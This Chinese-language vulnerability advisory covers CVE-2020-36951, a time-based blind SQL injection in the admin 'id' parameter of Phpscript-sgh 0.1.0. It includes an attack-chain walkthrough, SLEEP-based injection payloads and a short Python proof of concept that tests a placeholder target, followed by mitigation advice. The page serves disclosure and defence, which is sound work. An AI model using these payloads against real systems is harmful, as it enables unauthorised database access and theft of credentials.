IPBUF安全漏洞报告
English
CVE-2020-36951 CVSS 8.2 高危

CVE-2020-36951 Phpscript-sgh 0.1.0 时间盲注SQL注入漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36951
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Phpscript-sgh 0.1.0

相关标签

CVE-2020-36951SQL注入时间盲注Phpscript-sgh高危漏洞无需认证Web安全数据库注入

漏洞概述

CVE-2020-36951是Phpscript-sgh 0.1.0版本中存在的一个高危安全漏洞。该漏洞属于时间盲注SQL注入类型,存在于管理后台界面的'id'参数中。由于应用程序在处理用户输入时未对'id'参数进行充分的输入验证和过滤,攻击者可以通过构造恶意的SQL语句片段,利用条件判断结合时间延迟函数(如SLEEP()或BENCHMARK())来触发数据库执行时间延迟,从而在无需直接获取查询结果的情况下推断数据库信息。时间盲注相比普通SQL注入更难检测,因为服务器返回的响应内容差异很小,攻击者需要通过响应时间的差异来判断注入语句是否执行成功。攻击者可利用此漏洞在未经身份验证的情况下(该漏洞无需认证即可利用)获取数据库中的敏感信息,包括用户凭据、配置数据、业务数据等,对系统机密性造成严重影响。

技术细节

该漏洞位于Phpscript-sgh 0.1.0的管理员界面中,具体在处理'id'参数的SQL查询语句中。攻击者可通过在'id'参数中注入类似' AND (SELECT CASE WHEN (条件) THEN SLEEP(5) ELSE 0 END) 的payload来触发时间延迟。攻击原理如下:首先,攻击者构造一个条件判断语句,当条件为真时执行SLEEP()函数导致数据库查询延迟;当条件为假时则立即返回。通过观察服务器响应时间的长短,攻击者可以逐位推断数据库中的敏感信息,如管理员密码哈希值、数据库版本、表名等。例如,攻击者可通过构造多个条件查询,逐步提取数据库中存储的密码字符,根据响应时间判断每个字符是否匹配预期值。由于该漏洞无需认证即可利用,且CVSS评分达到8.2,属于高危漏洞,建议立即采取修复措施。

攻击链分析

STEP 1
步骤1
攻击者访问Phpscript-sgh 0.1.0的管理员登录页面
STEP 2
步骤2
攻击者识别可利用的'id'参数,通常位于URL或表单中
STEP 3
步骤3
攻击者构造时间盲注payload,如' AND (SELECT SLEEP(5))--,测试漏洞是否存在
STEP 4
步骤4
通过观察响应时间差异,判断注入条件真假,逐步提取数据库信息
STEP 5
步骤5
利用时间盲注技术获取数据库版本、表名、字段名及敏感数据
STEP 6
步骤6
根据获取的凭据信息,可能进一步获取管理员权限或执行其他攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import time import requests # CVE-2020-36951 Time-based Blind SQL Injection PoC # Target: Phpscript-sgh 0.1.0 admin interface target_url = "http://target.com/admin/index.php" def time_based_sqli_test(payload): """ Test for time-based blind SQL injection Returns True if vulnerability exists (response delayed) """ start_time = time.time() # Simulate request with SQL injection payload in 'id' parameter # Original request: id=1 # Injected request: id=1 AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) params = { 'id': payload } try: response = requests.get(target_url, params=params, timeout=10) elapsed = time.time() - start_time # If response takes > 5 seconds, injection successful if elapsed > 5: return True except requests.exceptions.RequestException: pass return False # Example payloads payloads = [ "1 AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--", "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--", "1' OR (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--" ] # Test vulnerability for payload in payloads: if time_based_sqli_test(payload): print(f"[+] Vulnerable! Payload: {payload}") break

影响范围

Phpscript-sgh 0.1.0

防御指南

临时缓解措施
在未完成补丁修复前,可采取以下临时缓解措施:1) 限制管理后台的网络访问,仅允许可信IP访问;2) 部署Web应用防火墙规则拦截可疑的SQL注入请求;3) 临时关闭管理后台功能;4) 监控服务器日志关注异常的SQL错误和时间延迟请求;5) 加强对数据库的访问审计,及时发现异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表